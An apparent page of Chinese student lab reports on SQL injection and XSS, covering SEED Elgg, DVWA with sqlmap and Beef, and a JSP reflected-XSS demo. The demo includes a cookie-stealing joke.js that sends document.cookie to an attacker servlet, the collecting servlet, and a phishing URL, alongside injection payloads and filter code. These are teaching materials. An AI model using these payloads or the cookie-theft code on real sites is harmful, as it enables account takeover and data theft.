精华内容
下载资源
问答
  • XSS跨站脚本攻击以及SQL注入攻击实验报告 XSS跨站脚本攻击 学号/工号查询 输入正确的信息后,我们会得到正确的输出结果。如果输入的名字在数据库中不存在,则无法查询到结果。 XSS跨站脚本攻击 根据判断,我们可以...

    XSS跨站脚本攻击以及SQL注入攻击实验报告

    XSS跨站脚本攻击

    学号/工号查询

    输入正确的信息后,我们会得到正确的输出结果。如果输入的名字在数据库中不存在,则无法查询到结果。
    在这里插入图片描述

    XSS跨站脚本攻击

    根据判断,我们可以用一段JavaScript语言写的代码“”或者“

    SQL注入攻击

    学号查询功能的SQL注入攻击

    我们先查看一下query.php程序代码
    在这里插入图片描述
    发现其19行,33行,47行查询语句是一样的,形式为

    $query=”select id from admins where name=’’’.$name.’’’’’’
    

    其中,$name是用户输入的字符串,如果输入内容为’or’1’=’1’#,那么该SQL语句变成了无条件查询语句。效果如下
    在这里插入图片描述
    造成这样情况的原因在于代码执行条件发生了变化,只要’1’=’1’就可以运行,而我们知道’1’=’1’的值为真,所以成为了无条件查询语句,会把所有结果都输出。此处要注意原代码的单双引号闭合问题。在有了代码后,我们可以针对引号数量不同,改写我们的字符串,但是在实际中,要进行尝试。

    用户登录的SQL注入攻击

    我们先查看login.php的程序代码
    在这里插入图片描述
    在第39行其查询用户名和密码的SQL语句为

    $query="selsect * from".$t_name."where (id='".$id."')"."and(pass='".$pass."')";
    

    我们是在$id处输入用户名。
    当我们输入’or’1’=‘1’); 时,就会显示用户信息。
    实现效果如下
    在这里插入图片描述
    在这里插入图片描述
    此时输入的括号是为了和之前的匹配。

    展开全文
  • 网络攻防实验-XSS攻击-基于Elgg-Task1-4

    千次阅读 2015-06-06 21:35:37
    网络攻防实验报告  ——XSS攻击 何为XSS攻击? XSS即Cross-site scripting跨站脚本,它是一种经常在web应用中出现的漏洞,攻击者可以使用该漏洞注入一些恶意代码以实现对受害者的攻击。 一、实验环境

                                                                  网络攻防实验报告

                                                                                          ——XSS攻击

    何为XSS攻击?

    XSS即Cross-site scripting跨站脚本,它是一种经常在web应用中出现的漏洞,攻击者可以使用该漏洞注入一些恶意代码以实现对受害者的攻击。

    一、实验环境

    SEEDUbuntu12.04

    VMware Workstation 10.0.1

    Elgg web application

    Firefox with LiveHTTPHeaders extension

    二、实验一

    Part-1

    (一)实验步骤

    1.开启apache服务器

    sudo service apache2 start

     

    2.访问Elgg并以alice身份登入

        

    3.修改alice的profile并注入script

     

     

    4.alice退出,samy身份登入并访问alice的profile

     

    Part-2

    实验内容:使用脚本文件而不是直接注入代码

    1.配置DNS即修改/etc/hosts文件

     

    2.配置Apache server,在/etc/apache2/site-available/default中添加如下代码:

     

    3.在/www目录下添加Example目录并在此目录下添加如下文件:

     

    4.访问www.example.com以测验是否可正常访问

     

    5.访问Elgg,以samy身份登入并修改samy的profile,在Location中添加如下代码:

     

    6.访问Elgg,以alice身份登入并访问samy的profile

     

    四、实验二

    实验内容:注入恶意代码来实现显示受害者的Cookies

    实验步骤:

    1.访问Elgg以alice身份登入,并修改Alice的profile,  添加如下代码:

     

    2.访问Elgg以samy身份登入,并访问alice的profile

      

    五、实验三

    1、实验内容:窃取受害者的cookies

    2、实验步骤:

    Step-1:从SEEDLABS下载tcp server,编译并运行,此时本机的5555端口接受的数据会被tcp server获取

     

    Step-2:访问Elgg,以alice身份登入并修改她的profile,在Location项中添加如下代码:

     

    Step-3:访问Elgg,以samy身份登入并访问alice的profile

     

    此时会发现tcp server已获取cookie并输出到了命令行

     

    六、实验四

    1.实验内容:使用窃取的Cookies进行会话劫持

    会话劫持的具体任务是:当某个user访问alice的profile时,攻击者就会获取此user的cookie以及__elgg_ts,__elgg_token,然后在本地利用窃取的内容发起会话,将charlie加为该user的好友,这里假设user为samy.

    2.实验步骤:

    Step-1:以alice身份登入Elgg并在profile的Location项中添加如下代码:

     


     

    Step-2:访问Elgg以samy身份登入系统

     

    Step-3:启动监听程序,以获取受害者的cookie,__elgg_ts,elgg_token.(注后面两个参数在每次与服务器交互后都不同).

     

    Step-4:samy访问alice的profile

     

    这时监听程序获取到cookie,__elgg_ts,__elgg_token:

     

    攻击者开始发起攻击,系统CentOS6.3

    Step-5:修改/etc/hosts文件,如下:

     

    Step-6:使用Live HTTP headers观察Elgg中添加好友时的HTTP请求头的各部分内容

     

    Step-7:编写java代码,发送伪造的添加好友的HTTP请求

     

     


     

     

    Step-8:编译并运行此java文件以发起攻击:

     

    根据结果发现:Http返回码为200,内容是html文档

    Step-9:查看samy的好友信息,发现此时charlie已经成为他的好友了.

    攻击之前:

     

    攻击之后:

     

    任务完成。

    七、实验五

    1.实验内容:写一个非自繁殖的XSS蠕虫,其在受害者本地浏览器中伪造Http请求,发送给服务器以实现修改受害者的profile同时添加samy为受害者的好友。

    2.实验步骤:

    Step-1:首先使用Live HTTP headers查看Elgg用户在修改自己的profile时发送的http请求的具体格式,如下:

     

    Step-2:使用Ajax编写js脚本文件以实现修改受害者的profile.如下:

     

    Step-3:以boby身份登入Elgg并修改其profile,在Location项中添加如下代码:

     

    注:www.example.com配置如下:

    1.修改/etc/hosts

     

    2.修改/etc/apache2/site-available/default

     

    3.在/var/www下新建Example项目

     

    Step-4:以charlie身份登入Elgg,查看自己的profile

     

    Step-5:访问boby的profile,再次查看charlie的profile

     



     

    由上图可看出,受害者的所有原有的profile信息都丢了,只剩下了攻击者留下的about me信息。如果想修改其他部分可以修改上面的JS脚本中content内容,当然还要满足Elgg的格式要求。

    如果想同时让受害者添加samy为好友,可以参考上面的格式,以及上一个实验的内容展开。只需在上面的JS脚本中添加加samy的好友的代码即可.

    Done!!

    八、实验六

    1.实验内容:编写一个可自繁殖的XSS蠕虫

    实验要求可以使用两种方式,但使用ID Approach是必须的,但我几经尝试后都没成功,所以我使用第二种方法即Src Approach实现这个可自繁殖的XSS蠕虫.

    2.实验步骤:

    Step-1:编写实现此蠕虫的JS脚本文件xss_worm.js

     


    Step-2:以Boby身份登入Elgg,并修改其profile,在Location项中添加:


    Step-3:以charlie身份访问Elgg,并访问boby的profile

     

    这是查看charlie的profile:

     

    Step-4:以alice身份登入Elgg,并访问charlie的profile:

     

    咦,怎么没有什么内容??

    此时在以charlie身份登入Elgg,访问自己的profile,点击一次Edit profile,再点击save,然后退出,再以alice登入,访问charlie的profile:

     

    好吧,现在有了,这是为什么?我也不知!!

    此时查看alice的profile:

     

    已被修改!

    好吧,只能说并未百分百的完成这个Task.

    九、实验七

    1、实验内容:激活Elgg中的反XSS策略

    2、实验步骤:

    Step-1:以admin身份登入Elgg

     

    Step-2:点击Plugins,激活HTMLawed 1.8

     

    Step-3:登入Elgg,访问任一个受害者的profile

    我以boby身份登入Elgg,访问了boby的profile,如下:

     

    我也访问了alice的profile,同样没有什么现象发生.

    Step-4:解除text.php、tagcloud.php等文件中的htmlspecialchars方法调用的注释.

    text.php:

     

    tagcloud.php:

     

    ......

    Step-5:访问任一个受害者的profile

    以boby(xss worm的制造者)身份登入Elgg,访问他的profile,发现他的profile中Location项中的js代码消失了.

     

    在访问charlie(受害者)的profile,如下:

     

    蠕虫代码被显示了出来。

    Done!

    以上是所有的XSS攻击的全部Task.

    具体实验要求访问http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Web/Web_XSS_Elgg/



    展开全文
  • 了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。 系统环境:Kali Linux 2、Windows Server ...

    实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。
    系统环境:Kali Linux 2、Windows Server
    网络环境:交换网络结构
    实验工具: Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA

    实验步骤:

    XSS部分:利用Beef劫持被攻击者客户端浏览器。

    实验环境搭建。
    角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
    攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
    被攻击者:访问留言簿网站,浏览器被劫持。

    1、利用AWVS扫描留言簿网站(安装见参考文档0.AWVS安装与使用.docx),发现其存在XSS漏洞,截图。
    在这里插入图片描述

    2、 Kali使用beef生成恶意代码,截图。
    由于beef生成的看不见,无法截图。

    3、访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板:
    <script src="http://Kali的IP地址:3000/hook.js"></script>

    在这里插入图片描述
    4、管理员登录login.htm,账号密码均为admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页,将你在beff中的配置截图。
    这样我们就可以对被劫持的客户端发出一个command。
    current browser>commands>browser>hooked domain>redirect domain
    在这里插入图片描述

    在这里插入图片描述

    5、回答问题:实验中XSS攻击属于哪种类型?

    答:实验中的属于存储型XXS攻击

    SQL注入部分:DVWA+SQLmap+Mysql注入实战

    启动Metasploitable2虚拟机。

    环境准备:

     1)登录http://你的IP/你的DVWA ,将安全级别设置为最低;
     2)开启Firefox浏览器TamperData插件,等待获取cookies值;
    

    1、注入点发现。首先肯定是要判断是否有注入漏洞。
    输入一下命令:

    nmap -p80 --script http-auth-finder Metasploitable2的IP
    

    在这里插入图片描述
    双击php后缀链接

    在这里插入图片描述
    打开dvwa网站。

    在输入框输入1,返回
    ID: 1
    First name: admin
    Surname: admin
    返回正常;
    再次输入1’,报错,返回
    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
    此时可以断定有SQL注入漏洞

    在这里插入图片描述
    3)在【SQL Injection】项中,提交User ID为22(地址栏出现id=22,这就是MySQL的注入点)

    提交User ID为22

    在这里插入图片描述

    获得注入点:
    http://192.168.43.7/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#

    4)TamperData弹窗获取cookies值:
    security=low; PHPSESSID=i5jau9v20hh5g76l450ujf5552
    在这里插入图片描述

    实战1:枚举登录MYSQL数据的用户名与密码

    sqlmap语法参数:
    • -u :指定目标URL,即注入点
    • --cookies:当前会话的cookies值
    • -b:获取数据库类型,检索数据库管理系统标识
    • --current-db:获取当前数据库
    • --current-user:获取当前登录数据库使用的用户

    打开kali终端,输入以下指令:

    sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh5g76l450ujf5552' -b  --current-db  --current-user
    

    在这里插入图片描述
    在这里插入图片描述
    结果:得到当前数据库为dawa,使用的用户为root@%

    实战2:枚举所有数据库

    sqlmap语法参数:
    • --users:枚举数据库用户名
    • -password:枚举数据库用户的密码(hash)

    输入以下命令:

    sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh5g76l450ujf5552' --string="Surname" --users --password
    

    在这里插入图片描述
    结果: 未设置密码
    在这里插入图片描述

    实战3:枚举数据库和指定数据库的数据表

    sqlmap语法参数:
    • --dbs:枚举当前数据库

    输入以下命令:

    sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh5g76l450ujf5552' --string="Surname" --dbs
    

    结果: mysql下所有的数据库
    在这里插入图片描述
    输入以下命令:

    sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh5g76l450ujf5552' --string="Surname" -D dvwa --tables
    

    结果: dvwa库中,所有的表
    在这里插入图片描述

    实战4:获取指定数据库和表中所有列的信息

    sqlmap语法参数:
    • -D:指定的数据库
    • -T:指定数据库中的数据表
    • --columns:获取列的信息

    输入以下命令:

    sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh5g76l450ujf5552' --string="Surname" -D dvwa -T users --columns
    

    结果:dvwa库,users表中所有字段信息

    在这里插入图片描述

    实战5:枚举指定数据表中的所有用户名与密码

    sqlmap语法参数:
    • -C:枚举数据表中的列
    • --dump:存储数据表项

    输入以下命令:

    sqlmap -u "http://192.168.1.124/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=i5jau9v20hh5g76l450ujf5552' --string="Surname" -D dvwa -T users -C user,password --dump
    

    结果:dvwa库,users表中user字段和password字段信息,最后表中信息转存文件中
    在这里插入图片描述

    展开全文
  • 请依据课堂所讲解的关于XSS攻防的技术...3、提交时请提交实验报告以及Web前端代码。 实验文件.rar (1)什么是xss? 跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSSXSS是一种经常出...

    请依据课堂所讲解的关于XSS攻防的技术知识,结合你所学过的Web前端编程技术,自行设计一套XSS攻防流程。要求:

    1、攻防技术的实现既要有深度也要有广度。

    2、需要设计一个前端页面。

    3、提交时请提交实验报告以及Web前端代码。

    实验文件.rar


     

    (1)什么是xss?

    跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。

    XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?

    XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

    从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

    XSS攻击的危害包括:

    1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

    2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

    3、盗窃企业重要的具有商业价值的资料

    4、非法转账

    5、强制发送电子邮件

    6、网站挂马

    7、控制受害者机器向其它网站发起攻击

    (2)xss攻击分类:

    <1>放射型xss攻击:

    又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

     

    如:

    简单例子

    正常发送消息:

    http://www.test.com/message.php?send=Hello,World!

    接收者将会接收信息并显示Hello,Word

    非正常发送消息:

    http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!

    接收者接收消息显示的时候将会弹出警告窗口

    我做的实例:

    前端代码:(xss_hsb_20190512)

     <body>

       <%

       request.setCharacterEncoding("utf-8");

       %>

       <form action="indexDeal">

       <center>

       测试1:<input type="text" name="try01" value=""/>

         <input type="submit" value="提交"/>

         </center>

        </form>

         <%

       String responseTry01 = request.getParameter("responseTry01");

       if(responseTry01 != null)

       {

       %>

       <center><a><font color="red"><%=responseTry01 %></font></a></center>

       <script type="text/javascript" language="javascript">

          var a1 = <%=responseTry01%>

          document.write(a1);

          </script>

       <% 

       }

         %>

       

         <form action="indexDeal">

       <center>

       测试2:<input type="text" name="try02" value=""/>

         <input type="submit" value="提交"/>

         </center>

        </form>

         <%

       String responseTry02 = request.getParameter("responseTry02");

       if(responseTry02 != null)

       {

       %>

       <center><a><font color="red"><%=responseTry02 %></font></a></center>

       <script type="text/javascript" language="javascript">

          var a2= <%=responseTry02 %>

          document.write(a2);

        </script>

       <% 

       }

         %>

       

        <form action="indexDeal">

       <center>

       测试3:<input type="text" name="try03" value=""/>

         <input type="submit" value="提交"/>

         </center>

        </form>

         <%

       String responseTry03 = request.getParameter("responseTry03");

       if(responseTry03 != null)

       {

       %>

       <center><a><font color="red"><%=responseTry03 %></font></a></center>

       <script type="text/javascript" language="javascript">

        var a3 = <%=responseTry03 %>

          document.write(a3);

        </script>

       <% 

       }

         %>

         

         <form action="Controller">

          <center>

          请输入你的留言:<input type="text" name="message" />

          账号:<input type="text" name="name"/>

          密码:<input type="password" name="password"/>

          <input type="submit" value="提交"/>

          </center>

         </form>

         

      </body>

    </html>

    后端代码:

    package xss_hsb_20190512;

     

    import java.io.IOException;

    import java.net.URLEncoder;

     

    import javax.servlet.ServletException;

    import javax.servlet.http.HttpServlet;

    import javax.servlet.http.HttpServletRequest;

    import javax.servlet.http.HttpServletResponse;

     

    public class indexDeal extends HttpServlet

    {

    public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

    {

    doPost(request,response);

    }

     

    public void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

    {

    //测试01

    request.setCharacterEncoding("utf-8");

    String try01 = request.getParameter("try01");

    if(try01 != null)

    {

    System.out.println("try01="+try01);

    // try01 = "pragram(01) " + try01;

    // try01 += " try success";

    response.setCharacterEncoding("UTF-8");

    response.setContentType("text/html;charset=utf-8");

    response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry01="+URLEncoder.encode(try01 ,"UTF-8"));

    }

    //测试02

    String try02 = request.getParameter("try02");

    if(try02 != null)

    {

    System.out.println("try02="+try02);

    if(try02.contains("<script>"))

    {

    try02 = "this pragram(02) is malice";

    }

    else

    {

    // try02 += " try success";

    }

    response.setCharacterEncoding("UTF-8");

    response.setContentType("text/html;charset=utf-8");

    response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry02="+URLEncoder.encode(try02 ,"UTF-8"));

    }

    //测试03

    String try03 = request.getParameter("try03");

    if(try03 != null)

    {

    System.out.println("try03="+try03);

    if(try03.toLowerCase().contains("<script>"))

    {

    try03 = "this pragram(03) is malice";

    }

    else

    {

    // try03 += " try success";

    }

    response.setCharacterEncoding("UTF-8");

    response.setContentType("text/html;charset=utf-8");

    response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry03="+URLEncoder.encode(try03 ,"UTF-8"));

    }

    }

    }

    测试1是不作任何过滤,我输入<script>alert("xss攻击")</script>,直接弹窗,攻击成功

    测试2我做了script过滤,如果是输入的内容带有script,则这句输入无效。

    可是,假如我把script的某个字母由小写改为大写,则可以跳过过滤

    可是,说实在。我这个只防了script,但是还有很多其他的标签,如frame,img(带攻击的链接图片)等,标签实在非常之多,绕过过滤检测的方法也五花八门,对人们来说简直是防不胜防。所有我就参考了网上一个代码

     

    解决方法:

     

    一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

     

    import java.net.URLEncoder;

    /**

     * 过滤非法字符工具类

     *

     */public class EncodeFilter {

     

        //过滤大部分html字符

        public static String encode(String input) {

            if (input == null) {

                return input;

            }

            StringBuilder sb = new StringBuilder(input.length());

            for (int i = 0, c = input.length(); i < c; i++) {

                char ch = input.charAt(i);

                switch (ch) {

                    case '&': sb.append("&");

                        break;

                    case '<': sb.append("<");

                        break;

                    case '>': sb.append(">");

                        break;

                    case '"': sb.append(""");

                        break;

                    case '\'': sb.append("'");

                        break;

                    case '/': sb.append("/");

                        break;

                    default: sb.append(ch);

                }

            }

            return sb.toString();

        }

     

        //js端过滤

        public static String encodeForJS(String input) {

            if (input == null) {

                return input;

            }

     

            StringBuilder sb = new StringBuilder(input.length());

     

            for (int i = 0, c = input.length(); i < c; i++) {

                char ch = input.charAt(i);

     

                // do not encode alphanumeric characters and ',' '.' '_'

                if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||

                        ch >= '0' && ch <= '9' ||

                        ch == ',' || ch == '.' || ch == '_') {

                    sb.append(ch);

                } else {

                    String temp = Integer.toHexString(ch);

     

                    // encode up to 256 with \\xHH

                    if (ch < 256) {

                        sb.append('\\').append('x');

                        if (temp.length() == 1) {

                            sb.append('0');

                        }

                        sb.append(temp.toLowerCase());

     

                    // otherwise encode with \\uHHHH

                    } else {

                        sb.append('\\').append('u');

                        for (int j = 0, d = 4 - temp.length(); j < d; j ++) {

                            sb.append('0');

                        }

                        sb.append(temp.toUpperCase());

                    }

                }

            }

     

            return sb.toString();

        }

     

        /**

         * css非法字符过滤

         * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters

        */

        public static String encodeForCSS(String input) {

            if (input == null) {

                return input;

            }

     

            StringBuilder sb = new StringBuilder(input.length());

     

            for (int i = 0, c = input.length(); i < c; i++) {

                char ch = input.charAt(i);

     

                // check for alphanumeric characters

                if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||

                        ch >= '0' && ch <= '9') {

                    sb.append(ch);

                } else {

                    // return the hex and end in whitespace to terminate

                    sb.append('\\').append(Integer.toHexString(ch)).append(' ');

                }

            }

            return sb.toString();

        }

     

        /**

         * URL参数编码

         * http://en.wikipedia.org/wiki/Percent-encoding

         */ 

        public static String encodeURIComponent(String input) {

            return encodeURIComponent(input, "utf-8");

        }

     

        public static String encodeURIComponent(String input, String encoding) {

            if (input == null) {

                return input;

            }

            String result;

            try {

                result = URLEncoder.encode(input, encoding);

            } catch (Exception e) {

                result = "";

            }

            return result;

        }

     

        public static boolean isValidURL(String input) {

            if (input == null || input.length() < 8) {

                return false;

            }

            char ch0 = input.charAt(0);

            if (ch0 == 'h') {

                if (input.charAt(1) == 't' &&

                    input.charAt(2) == 't' &&

                    input.charAt(3) == 'p') {

                    char ch4 = input.charAt(4);

                    if (ch4 == ':') {

                        if (input.charAt(5) == '/' &&

                            input.charAt(6) == '/') {

     

                            return isValidURLChar(input, 7);

                        } else {

                            return false;

                        }

                    } else if (ch4 == 's') {

                        if (input.charAt(5) == ':' &&

                            input.charAt(6) == '/' &&

                            input.charAt(7) == '/') {

     

                            return isValidURLChar(input, 8);

                        } else {

                            return false;

                        }

                    } else {

                        return false;

                    }

                } else {

                    return false;

                }

     

            } else if (ch0 == 'f') {

                if( input.charAt(1) == 't' &&

                    input.charAt(2) == 'p' &&

                    input.charAt(3) == ':' &&

                    input.charAt(4) == '/' &&

                    input.charAt(5) == '/') {

     

                    return isValidURLChar(input, 6);

                } else {

                    return false;

                }

            }

            return false;

        }

     

        static boolean isValidURLChar(String url, int start) {

            for (int i = start, c = url.length(); i < c; i ++) {

                char ch = url.charAt(i);

                if (ch == '"' || ch == '\'') {

                    return false;

                }

            }

            return true;

        }

     

    }

     

    上面这个过滤类基本可以把url传参的参数拦截,而反射型xss攻击的到底有什么危害呢?

     

    首先说一下反射型xss攻击是:

     

    XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

     

    光说不练假把戏,下面我就写了个反射型xss攻击的实例:

     

    这个是xss_attack服务端,主要是黑客们设置的服务器,可以给黑客们发出的钓鱼url链接服务,joke.js就是一个脚本,通过用户访问链接,这个链接是某个黑客想要获取用户账号的某个网站(带有xss漏洞),在这个链接中传一个参数,而参数后面带着的是如:

    <script src="http://saintcoder.duapp.com/joke/joke.js"></script>

    之类的链接,但用户点击链接就会访问黑客想要获取你的cookie信息的网站,网站获得解释这个参数,而参数中带有上面这个script脚本,就会解释脚本,这个脚本根据src访问黑客的joke.js文件,里面便是脚本代码,脚本代码就可以获得你的cookie信息,传回到黑客的服务器。黑客便可以获得你的cookie信息,通过cookie信息查找里面是否带有账号和密码,然后就可以登录你的账户了。

     

    我的joke.js 代码:

    var img = document.createElement('img');

    img.width = 0;

    img.height = 0;

    var cookieValue = document.cookie;

    alert("cookieValue="+cookieValue);

    img.src = 'http://localhost:8080/xss_attack/Controller?joke=hsb'+encodeURIComponent(cookieValue);

     

    我写的url(钓鱼):

    localhost:8080/xss_hsb_20190512/index.jsp?responseTry01=%3Cscript%20src=%22http://localhost:8080/xss_attack/joke.js%22%3E%3C/script%3E

     

    注:这个url一定要用url编码进行转码,不然带有 < 等敏感字符会给浏览器自动过滤,访问失败,转为url编码可以绕过浏览器的过滤。

     

    要获得cookie信息的网站代码就是xss_hsb_20190512的代码.

     

    黑客服务端的代码:

     

    joke.js(这个是查询获得cookie信息的前端页面)

     

    <%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>

    <%@ page import="cn.dao.impl.Message" %>

     

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

    <html>

      <head> 

        <title>获取用户cooked信息</title>

        

    <meta http-equiv="pragma" content="no-cache">

    <meta http-equiv="cache-control" content="no-cache">

    <meta http-equiv="expires" content="0">    

    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">

    <meta http-equiv="description" content="This is my page">

     

      </head>

      

      <body>

      <% 

        Message message = new Message();

        List<String> messageList = message.getAllMessage();

        if(messageList != null)

        {

         

          %>

       <center><a>messageList不为空</a></center>

      <%

        for(int i = 0; i < messageList.size(); i++)

        {

      %>

       <center><a>cookie[<%=i %>] = <%=messageList.get(i) %></a></center>

      <%

       }

       }

       else

       {

       %>

        <center><a>message为空!</a></center>

       <%

        }

        %>

      </body>

    </html>

     

    下面这个是黑客服务器获得cookie信息的servlet类

    Controller.Java

     

    import java.io.IOException;

    import java.sql.SQLException;

     

    import javax.servlet.ServletException;

    import javax.servlet.http.HttpServlet;

    import javax.servlet.http.HttpServletRequest;

    import javax.servlet.http.HttpServletResponse;

     

    import cn.dao.impl.Message;

     

    public class Controller extends HttpServlet{

    public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

    {

    doPost(request,response);

    }

     

    public void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

    {

    System.out.println("进入Controller的doPost");

    Message message = new Message();

    String myMessageValue = request.getParameter("joke");

     

    try {

    if(myMessageValue == null || myMessageValue == "" || myMessageValue == " ")

    {

    System.out.println("myMessageValue(isNULL) : " + myMessageValue);

    }

    else

    {

    System.out.println("myMessageValue(notNULL) : " + myMessageValue);

    message.insertMessage(myMessageValue);

    }

    } catch (SQLException e) {

    // TODO Auto-generated catch block

    System.out.println("插入失败");

    e.printStackTrace();

    }

    response.sendRedirect("/xss_attack/joke.jsp");    

    }

    }

     

    项目结构:

    测试:

     

    黑客想要获得用户cookie信息的客户端

    诱骗点击代码:(可以通过发在论坛-留言贴,邮箱),诱骗别人点击

     

    localhost:8080/xss_hsb_20190512/index.jsp?responseTry01=%3Cscript%20src=%22http://localhost:8080/xss_attack/joke.js%22%3E%3C/script%3E

     

    访问后,这个提示框只是我进行演示使用alert弹出的,可以弹出,做到更隐蔽的作用

    获得信息:

    而为什么会通过点击链接而获得你点击的cookie信息呢,主要是开发人员没有对参数进行过滤,从而是参数可以带有script等脚本,获得你的cookie信息,并传回到黑客服务器上。所以我们使用上面那个过滤类可以对这些信息进行过滤。


    通过本次实验,我认识了xss攻防:

     

    下面我就简单总结一下xss攻击:

     

    XSS攻击有2种:   反射型攻击;    存储型攻击

     

    XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

     

    XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛、OA、CRM等社交网站上,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

     

    危害:1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上

     

    2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

     

    解决:

     

    1.在表单提交或者url参数传递前,对需要的参数进行过滤

     

    2.过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

     

    可以利用下面这些函数对出现xss漏洞的参数进行过滤

     

    (1)htmlspecialchars() 函数,用于转义处理在页面上显示的文本。

     

    (2)htmlentities() 函数,用于转义处理在页面上显示的文本。

     

    (3)strip_tags() 函数,过滤掉输入、输出里面的恶意标签。

     

    (4)header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。

     

    (5)urlencode() 函数,用于输出处理字符型参数带入页面链接中。

     

    (6)intval() 函数用于处理数值型参数输出页面中。

     

    (7)自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。

     

    参考内容:

    https://blog.csdn.net/binyao02123202/article/details/9041113 - 一个危险的XSS案例——轻松拿到登录用户的cookie

    https://blog.csdn.net/qq_21956483/article/details/54377947 - xss攻击原理与解决方法

    https://blog.csdn.net/wuhuagu_wuhuaguo/article/details/79774187 - 反射型XSS漏洞的条件+类型+危害+解决

    https://www.cnblogs.com/phpstudy2015-6/p/6767032.html - xss跨站脚本攻击

     

    本次实验的优点,缺点:

     

    本次实验优点在于把完成了一个反射型xss攻击实例,这个攻击演示了黑客是怎么通过制造钓鱼链接,发送链接给用户,诱骗用户点击从而获得用户cookie信息。可以说是把演示过程说得非常清楚。

     

    缺点则是攻击手法缺乏,可以说是比较少了。但是主要是想真实地完成一个黑客通过放射型xss攻击的实例。这个可以对黑客反射型xss攻击了解更深,比那些单纯对文本框使用弹出攻击提示框更有效。成果更显著。第二则是:防御方面做得比较简单,主要也是自己觉得网上找一个过滤类,使用就可以免除大部分xss攻击了。


    代码已经上传~~~

     

     

    展开全文
  • 实验步骤与内容: 目录 一....利用XSS进一步攻击 4.1 Cookie窃取 4.2 CSRF 4.3 XSS钓鱼 4.4 Web Shell 五. XSS防御 5.1输入过滤 5.2输出编码,转义 5.3上下文敏感数据编码 5.4内容安...
  • 反射性xss实验

    2019-04-24 16:37:14
